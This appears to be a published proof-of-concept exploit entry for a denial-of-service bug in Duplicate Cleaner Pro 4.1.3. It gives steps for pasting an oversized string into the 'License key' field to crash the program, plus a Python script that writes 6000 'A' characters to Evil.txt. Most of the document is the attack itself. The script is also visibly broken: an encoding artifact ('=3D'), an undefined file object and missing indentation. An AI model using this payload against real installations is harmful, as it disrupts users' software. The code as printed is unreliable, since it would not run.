Duplicate Cleaner Pro 4 Denial Of Service

`# Exploit Title: Duplicate Cleaner Pro 4 - Denial of Service (PoC)  
# Date: 2020-01-05  
# Vendor Homepage:https://www.digitalvolcano.co.uk/index.html  
# Software Link: https://www.digitalvolcano.co.uk/download/DuplicateCleanerPro4_setup.exe  
# Exploit Author: Achilles  
# Tested Version: 4.1.3  
# Tested on: Windows 7 x64  
  
  
# 1.- Run python code :  
# 2.- Open EVIL.txt and copy content to clipboard  
# 3.- Open Duplicate Cleaner Pro  
# 4.- Paste the content of EVIL.txt into the Field: 'License key'  
# 5.- Click 'Activate' and you will see a crash.  
  
#!/usr/bin/env python  
buffer =3D "\x41" * 6000  
  
try:  
f.open("Evil.txt","w")  
print "[+] Creating %s bytes evil payload.." %len(buffer)  
f.write(buffer)  
f.close()  
print "[+] File created!"  
except:  
print "File cannot be created"  
`